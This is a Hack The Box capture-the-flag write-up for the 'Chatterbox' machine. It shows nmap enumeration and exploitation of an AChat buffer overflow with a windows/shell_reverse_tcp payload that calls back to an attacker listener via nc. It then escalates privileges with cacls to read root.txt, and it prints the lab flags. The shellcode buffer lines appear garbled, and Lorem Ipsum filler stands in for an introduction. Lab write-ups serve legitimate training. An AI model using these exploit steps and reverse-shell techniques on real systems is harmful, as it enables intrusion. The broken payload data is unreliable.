chatterbox - Hack The Box

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.
hackthebox
Author

0xPThree

Published

March 27, 2021

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”


██╗ ██╗███████╗███████╗██████╗ ██║ ██║██╔════╝██╔════╝██╔══██╗ ██║ ██║███████╗█████╗ ██████╔╝ ██║ ██║╚════██║██╔══╝ ██╔══██╗ ╚██████╔╝███████║███████╗██║ ██║ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝

  1. [root:/git/htb/chatterbox]# nmap -Pn -n -sCV 10.10.10.74 –open (master✱) Host discovery disabled (-Pn). All addresses will be marked ‘up’ and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-26 10:20 CET Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 201.69 seconds

Normal nmap scan finds nothing. Trying UDP returns the same, nothing. [root:/git/htb/chatterbox]# nmap -sU -sV –version-intensity 0 -F -n 10.10.10.74 (master✱) Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-26 10:24 CET Nmap scan report for 10.10.10.74 Host is up (0.035s latency). All 100 scanned ports on 10.10.10.74 are open|filtered

Expand the tcp scan by looking on all ports. [root:/git/htb/chatterbox]# nmap -p- -T5 10.10.10.74 (master✱) Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-26 10:33 CET Nmap scan report for chatterbox.htb (10.10.10.74) Host is up (0.034s latency). Not shown: 65533 filtered ports PORT STATE SERVICE 9255/tcp open mon 9256/tcp open unknown

Version and script scan to see if we can figure out anything more about the services: [root:/git/htb/chatterbox]# nmap -sCV -p9255,9256 10.10.10.74 (master✱) Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-26 10:38 CET Nmap scan report for chatterbox.htb (10.10.10.74) Host is up (0.034s latency).

PORT STATE SERVICE VERSION 9255/tcp open http AChat chat system httpd |_http-server-header: AChat |_http-title: Site doesn’t have a title. 9256/tcp open achat AChat chat system

[root:/git/htb/chatterbox]# curl 10.10.10.74:9255 (master✱) [root:/git/htb/chatterbox]# curl 10.10.10.74:9256 (master✱) curl: (1) Received HTTP/0.9 when not allowed

  1. Google for ‘AChat enumerate port 9255 9256’ and I come across ‘achat reverse tcp exploit’. Downloading the files, modify the payload-file to create a ‘windows/shell_reverse_tcp’ payload rather then meterpreter (no go in OSCP).

Generate the payload, edit the exploit-file with the new buf-data, and lastly change the server address (in the script) to our victim.

[root:/git/htb/chatterbox]# ./AChat_Payload.sh (master✱) RHOST: 10.10.10.74 LHOST: 10.10.14.5 LPORT: 4488 Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/unicode_mixed x86/unicode_mixed succeeded with size 774 (iteration=0) x86/unicode_mixed chosen with final size 774 Payload size: 774 bytes Final size of python file: 3767 bytes buf = b”” buf += b”” buf += b”” buf += b”6a” buf += b”5a4c” buf += b”5a” buf += b”4a” buf += b”” buf += b”4a” buf += b”5a6b4d” buf += b”4a6c” buf += b”4b6b6b” buf += b”4f6b6e6b” buf += b”6e6a6c4b6e4e4b” buf += b”4d7a6f4f5a4d6d” buf += b”6f6c6f4c4c6c4c” buf += b”6c6f4f7a6d4d” buf += b”4c6b4a” buf += b”6b4e6a4d6c4b4c4e” buf += b”6d” buf += b”4b4f6d4b” buf += b”7a6e5a6d6b4d” buf += b”4b6d6f6c” buf += b”6f6c4d6e” buf += b”4c6c4d6c6f4b4d” buf += b”6b6b4b4d” buf += b”7a6b4c4c4b” buf += b”4b4b6c4b6d” buf += b”6b4f6f” buf += b”6d4b6f6b5a” buf += b”6f4f6f4f4a4b” buf += b”6a6a4b6d6f6d6c6d” buf += b”4b6d” buf += b”4f6e6c6e” buf += b”4b4f6a” buf += b”6b4f6e4d” buf += b”4b6f” buf += b”6e6d4e4d” buf += b”7a4a4a6f6f6f” buf += b”6a4a4a6a” buf += b”7a6a6e6b6b6b” buf += b”6a6e” buf += b”6f6f” buf += b”7a6c6f” buf += b”4e6a5a4c” buf += b”4b4f” buf += b”4d4f6b” buf += b”6c4f7a4b” buf += b”4b4d4d4d” buf += b”6f4c6b6d4e6c6c” buf += b”6d4e6f” buf += b”4f6e6e” buf += b”6e4e4c6d6f” buf += b”4b4f6e6e” buf += b”6f4b4f4c4d” buf += b”6b6d6b4f4b4d” buf += b”4d4d5a7a4d” buf += b”6d6f6f4c5a6c5a” buf += b”6a6b4b5a6b” buf += b”6b4f5a”

[root:/git/htb/chatterbox]# python AChat_Exploit.py (master✱) [+] BUFFER OVERFLOW PAYLOAD RELEASED – CHECK YOUR HANDLER

[root:/git/htb/chatterbox]# rlwrap nc -lvnp 4488 (master✱) listening on [any] 4488 … connect to [10.10.14.5] from (UNKNOWN) [10.10.10.74] 49161 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:> whoami chatterbox

  1. Grab user.txt

C:> type user.txt 02c94ad2f3a9d10f7f327b895249a2f8

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██████╗ ██████╗ ██████╗ ████████╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██████╔╝██║ ██║██║ ██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝

  1. Once we have a reverse shell as Alfred, we notice that we got read access to the directory - usually the users don’t have permission to enter this folder.

C:> type root.txt Access is denied.

Unfortunately we can’t just print root as of yet. But maybe the privileges of the Admin dir is a good place to start.

C:> dir root.txt /q 03/26/2021 07:51 AM 34 CHATTERBOXroot.txt

C:> cacls root.txt /G Alfred:R Are you sure (Y/N)? y processed file: C:.txt

C:> type root.txt efd540d3337ebc9d2682bec22ab89f45

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██╗███╗ ██╗███████╗ ██████╗ ██████╗ ███╗ ███╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██║████╗ ██║██╔════╝██╔═══██╗██╔══██╗████╗ ████║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██╔████╔██║███████║ ██║ ██║██║ ██║██╔██╗ ██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║╚██╔╝██║██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ ██║██║ ╚████║██║ ╚██████╔╝██║ ██║██║ ╚═╝ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝

AChat Reverse TCP Exploit: https://github.com/EDB4YLI55/achat_reverse_tcp_exploit

File ownership Win7: https://superuser.com/questions/691578/how-to-display-change-the-owner-of-a-file-on-windows-7